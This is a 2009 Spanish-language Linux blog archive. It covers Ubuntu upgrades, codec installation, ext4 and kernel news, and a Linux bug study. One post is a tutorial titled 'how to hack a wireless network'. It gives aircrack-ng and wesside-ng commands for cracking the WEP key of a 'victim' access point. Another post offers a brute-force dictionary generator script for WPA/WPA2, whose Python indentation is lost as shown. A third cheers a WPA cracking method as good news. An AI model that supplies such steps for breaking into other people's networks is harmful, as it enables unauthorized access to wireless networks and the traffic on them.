jueves, 23 de abril de 2009

Como Actualizar de Intrepid a Jaunty

Antes de comenzar

  • Tu solo puedes actualizar directamente a Ubuntu 9.04 desde Ubuntu 8.10 (ver notas)

  • Asegurate de tener todas las actualizaciones aplicadas en Ubuntu 8.10 antes de actualizar.
  • Antes de actualizar es recomendable leer las notas de lanzamiento para Ubuntu 9.04.

Actualizacion por red Ubuntu Desktops (Recomendada)

Tu puedes actualizar por la red facilmente con el siguiente procedimiento.

  1. En Sistema/Administracion/Gestor de actualizacion
  2. Click sobre Check para buscar nuevas actualizaciones.

  3. Si existe algna actualizacion hágala.

  4. Luego aparecera un mensaje avisando la disponiblilidad de una nueva distribucion.
    • um2.jpg

  5. Click en Upgrade.

  6. Siga las instrucciones en pantalla.
    • um3.jpg

Actualizar utilizando un "alternate-CD"

Use este método si no posee conexion a in Internet.

  1. Descarge el alternate installation CD

  2. queme el ISO a un CD insertelo en su CD-ROM.

    • Si el ISO esta en la computadora a ser actualizada tambien puede montar el ISO en un drive virtual con el siguiente comando:

      sudo mount -o loop ~/Desktop/ubuntu-9.04-alternate-i386.iso /media/cdrom0
  3. Le aparecera un dialogo ofertando la actualizacion por CD.
  4. Siga las instrucciones en pantalla.

Si por cualquier razón el dialogo de actualización no aparece puede correr el siguiente comando precionándo Alt+F2:

gksu "sh /cdrom/cdromupgrade"

articulo de www.ubuntu.com

martes, 21 de abril de 2009

Buena noticia airdecloak-ng + Tkiptun-ng = WPA en 15 minutos

De un tiempo a esta parte se había oído la posibilidad de crackear, no fácil ni rápidamente, la encriptación WPA de la red Wifi. A día de hoy, han puesto en práctica un método que ha roto la seguridad en apenas 15 mintuos.

La encriptación WPA es la que a día de hoy ofrece más seguridad en la encriptación de la señal WIFI, muy por encima de la encriptación WEP, y es la usada por redes empresariales. No obstante, este método no rompe la encriptación WPA2 según indican los desarrolladores.

El hueco para romper la protección ha sido encontrado en Temporal Key Integrity Protocol (TKIP - Protocolo temporal de integridad de clave) y, como avanzábamos, permite romper la seguridad entre 12-15 minutos.

El método usado no es el de ataque diccionario, con el que hasta la fecha era conocida su efectividad pero usando grandes recursos de hardware y bastante tiempo, sino que se ha basado en un avance matemático que será expuesto en una conferencia el próximo mes. No obstante, podemos ver un avance de la técnica aquí.

http://software.adslzone.net/2008/11/07/crackeada-la-seguridad-wpa-de-la-wifi-en-15-minutos/
Los links nos manda ala web oficial de aicrack-ng donde la confirman.
Para los que quieran profundizar y adelantarse a la publicacion entera de la tecnica:
http://arstechnica.com/articles/paedia/wpa-cracked.ars/1

http//:foro.segurdadwireless.net/

lunes, 20 de abril de 2009

Como hackear una red inalambrica con Wesside-ng

Las redes inalámbricas son vulnerables a multiples ataques para consiguir acceso, una buena aplicación para este fin es "Wesside-ng" de la suite "Aircrack-ng", está diseñada para un uso facil y rapido y sin la necesidad de tener mucha experiencia
solo basta con escribir en una terminal
wesside-ng "opciones" "interfaz de red"
y en minutos tendremos la clave HEX que este encriptada con WEP a mano.
.
El primer paso es poner la interfaz de red inalambrica en modo monitor con iwconfig "interfaz" mode monitor ó airmon start "interfaz"


El nombre de nuestra interfaz lo podemos ver con el comando "iwconfig" y la direccion mac de la victima la podemos obtener con "airodump-ng" ejecutandolo de esta forma.

airodump-ng "interfaz"

Esta son las opciones disponibles del wesside-ng

-h : help screen
-i : Interface to use (mandatory)
-m : My IP address
-n : Network IP address
-a : Source MAC Address
-c : Do not crack the key
-p min prga> : Minimum bytes of PRGA to gather
-v : Victim BSSID
-t : Cracking threshold
-f : Highest scanned chan (default: 11)
-k : Ignore acks and tx txnum times

osea que el modo se uso sería

wesside-ng -i "interfaz" -v "mac_victima"

y en caso de recibir el error "ERROR Max retransmists for (30 bytes)" utilizar la opcion "-k 1" entonces el comando sería de esta forma.

wesside-ng -i "interfaz" -v "mac_victima" -k 1






sábado, 7 de febrero de 2009

Reproducir rmvb y otros tipos en Ubuntu con Mplayer

Hoy tuve la necesidad de reproducir un archivo rmvb, tipo real media player, y como utilizo linux y no tenia un reproductor real media pues tuve que encontrar la solucion para verlo con un reproductor en linux, aqui estan los pasos:

Configurar el repositorio medibuntu:

wget http://www.medibuntu.org/sources.list.d/hardy.list -O /etc/apt/sources.list.d/medibuntu.list

Agregar el ‘keyring’ del repositorio:

apt-get update && sudo apt-get install medibuntu-keyring && sudo apt-get update

Instalar los paquetes de codecs,si es de 32 o de 64 bits el sistema operativo se debe cambiar el nombre del paquete wXXcodecs:

apt-get install w64codecs libdvdcss2 non-free-codecs libstdc++5

Escrito el Junio 3, 2008 a las 9:32 AM por Camilo Nova

miércoles, 4 de febrero de 2009

Solucion de problemas al instalar windows

Tienes problemas de incompatibilidad al instalar windows vista?
he aqui la solucion, observa los pasos atentamente.



gracias a: madx776 por enviar el link.

viernes, 30 de enero de 2009

The Linux Counter

Te invitamos a formar parte, registrarte y registrar tus computadoras con GNU/Linux

http://counter.li.org/

lunes, 19 de enero de 2009

Bruteforce Script exelente para WPA/WPA2

Buscando por la red encontre este exelente script para crear diccionarios "lista de combinaciones posibles para x numero de caracteres"

codigo:

#!/usr/bin/python
#
# :: Invasion Tux
# :: Script realizado por makiolo (makiolo@gmail.com) (Licencia GPL)
# :: Ultima version : http://blogricardo.wordpress.com/2008/12/28/script-para-generar-diccionarios-de-fuerza-bruta/
# :: Dependencias : python
#

import sys, math
from time import time, localtime, strftime

########################### CONFIGURACION #########################

LONGITUD = 8
ALFABETO = "abcdefghijklmnopqrstuvwxyz0123456789"

####################################################################

########################## FUNCIONES ###############################
def getVariacionesConRepeticion(ALFABETO , LONGITUD):
sumatorio = 0
for i in range(LONGITUD):
producto = 1
for j in range(i+1):
producto = producto * len(ALFABETO)
sumatorio = sumatorio + producto
return sumatorio
####################################################################

##################### VARS AUXILIARES ##############################
DEBUG = True
VERBOSE = True
variacionesConRepeticion = getVariacionesConRepeticion(ALFABETO , LONGITUD)
inicioReloj = time()
cont = 0
progreso = 0
####################################################################

while LONGITUD > 0:
try:
contadores = [] # ponemos los contadores a 0
for i in range(LONGITUD):
contadores.append(0)

fin = False
while not fin:
if DEBUG == True:
for i in range(LONGITUD):
sys.stdout.write(ALFABETO[contadores[i]])
sys.stdout.write("\n")

if VERBOSE == True:
if (cont % 600000 == 0) and (cont != 0):
progreso = cont*100.0/variacionesConRepeticion # porcentaje hasta ahora
progreso = round(progreso , 2)
finReloj = time() - inicioReloj # finReloj es lo que esta tardando el calculo
velocidad = cont / finReloj # palabras procesadas por segundo
velocidad = round(velocidad , 2)
estimado = finReloj * variacionesConRepeticion / cont # es lo que se estima en realizar todo el proceso
restante = estimado - finReloj # es lo que se estima en realizar lo restante
restante = restante / 60 / 60 # lo pasamos a horas
restante = round(restante , 2)
sys.stderr.write(str(progreso)+"% - Quedan "+str(restante)+" horas. La velocidad es de "+str(velocidad)+" palabras/seg\n")

cont = cont + 1
actual = LONGITUD - 1 # Pongo actual a la derecha del todo
contadores[actual] = contadores[actual] + 1 # Sumo 1 a las unidades

while(contadores[actual] == len(ALFABETO)) and not fin: # Propago el carry
if(actual == 0):
fin = True # FIN
else:
contadores[actual] = 0 # reinicia el actual contador
actual = actual - 1 # avanza a la izquierda
contadores[actual] = contadores[actual] + 1 # y le sumo 1

LONGITUD = LONGITUD - 1 # combinaciones para uno menos

except KeyboardInterrupt:
sys.stderr.write("Interrumpido por el usuario\n")
fin = True # Fuerzo las condiciones de salida
LONGITUD = 0

if VERBOSE == True:
sys.stderr.write("Terminado al "+str(progreso)+"% - Realizadas "+str(cont)+" combinaciones de "+str(variacionesConRepeticion)+"\n")


Podemos cambiar los caracteres a usar a nuestro gusto y el largo de la combinacion donde dice "LONGITUD"

domingo, 18 de enero de 2009

Jaunty Jackalope viene con ext4 por defecto

Ya está disponible en las releases diarias de Ubuntu Jaunty Jackalope el sistema de ficheros Ext4 disponible en el Kernel de Linux a partir de la versión 2.6.28 y viene en el CD de la Alpha 3 que salio el dia 15 de Enero por lo que al realizar la partición podrá elegirse el sistema de ficheros Ext4.

Ext4 como antes mencionamos en el pasado post está diseñado para proporcionar un mejor rendimiento y aumentar la fiabilidad. También aumenta el tamaño máximo de archivos a un Exabyte y reduce la cantidad de tiempo que se requiere para llevar a cabo una operación fsck.

En Phoronix han realizado una prueba de rendimiento con una instalación de Ubuntu 9.04 y el sistema de ficheros Ext4 destaca en la IOzone, la prueba que escribe un fichero de gran tamaño.

ext4prueba

Además se anuncia que esta Alpha 3 de Ubuntu vendrá con X.org versión 1.6

También han incluido un nuevo sistema de notificaciones similar a iconos emergentes en el escritorio. Puede verse un vídeo de muestra en este enlace

Quien desee realizar pruebas podrá descargarla aqui

http://cdimage.ubuntu.com/releases/jaunty/alpha-3/ (Ubuntu)

fuente: http://jvare.wordpress.com

viernes, 16 de enero de 2009

Kernel 2.6.28 con soporte ext4!!!

La versión 2.6.28 del kernel Linux fue lanzada el 25 de diciembre, justo el día de navidad, con interesantes mejoras como el sistema de archivos ext4 que ha dejado de ser experimental.
Desde el sitio de kernelnewbies nos dejan conocer de manera detallada las nuevas características de esta versión, la cual contiene el soporte en fase estable de ext4, el nuevo sistema de archivos que promete mejor estabilidad, más características y performance. De ext3 a ext4 existe una mejora sustanciosas, contrario a lo que fue ext2 de ext3.
Una de las características de este nuevo sistema de archivos es que se puede pasar de ext3 a ext4 sin mayor dificultad y sin perdida de datos.
Otra de las mejoras en el kernel es el nuevo administrador de memoria GPUs GEM el cual se presume será una revolución al soporte gráfico de Linux.

kernel GNU/Linux con menos errores que su competencia.

De acuerdo a un estudio realizado por la Universidad de Stanford el kernel Linux tiene menos fallos en su código fuente que el software propietario.
Aunque este hecho es uno de los puntos principales que han defendido los usuarios del sistema Linux, el informe da a conocer datos precisos sobre el análisis realizado al kernel y la comparación con software propietario.
Según la publicación Wired se analizo el kernel Linux 2.6 presente en productos de la mano de Red Hat, Novell y otras empresas similares encontrando 985 fallos en 5.7 millones de lineas de código. En contra parte Windows XP, presenta fallos mucho más frecuentes en sus 40 millones de lineas de código.
De acuerdo a la Universidad Carnegie Mellon la mayoría del software propietario contiene de 20 a 30 bugs por cada 1,000 lineas de código lo que vendría a ser un aproximado de 114,000 a 171,000 fallos en 5.7 millones de lineas de código de seguir esta tendencia, mientras que el estudio arroja 0.17 bugs por cada 1,000 lineas de código en el kernel Linux.
De los 985 fallos la mayoría estuvieron en partes críticas del kernel. De estos, 569 pueden hacer que el sistema se crashe, 100 son fallos de seguridad y 33 influyen en el rendimiento del sistema. No obstante, se menciona que la mayor parte de estos fallos ya han sido corregidos actualmente.
El proyecto de análisis de código comenzó en el 2000 en la Universidad de Stanford y actualmente continua adelante con la finalidad de dar a conocer los resultados a la comunidad de desarrollo de Linux para ayudar en su mejora.
Seth Hallem, parte del proyecto de análisis de código, comenta:
“Nuestros hallazgos muestran que Linux contiene una muy baja tasa de defecto y es la prueba de la fuerte seguridad de Linux (…) Muchos agujeros de seguridad en el software son el resultado de errores de software que puede ser eliminados con una buena programación de procesos.”.
El artículo completo en: Linux: Fewer Bugs Than Rivals.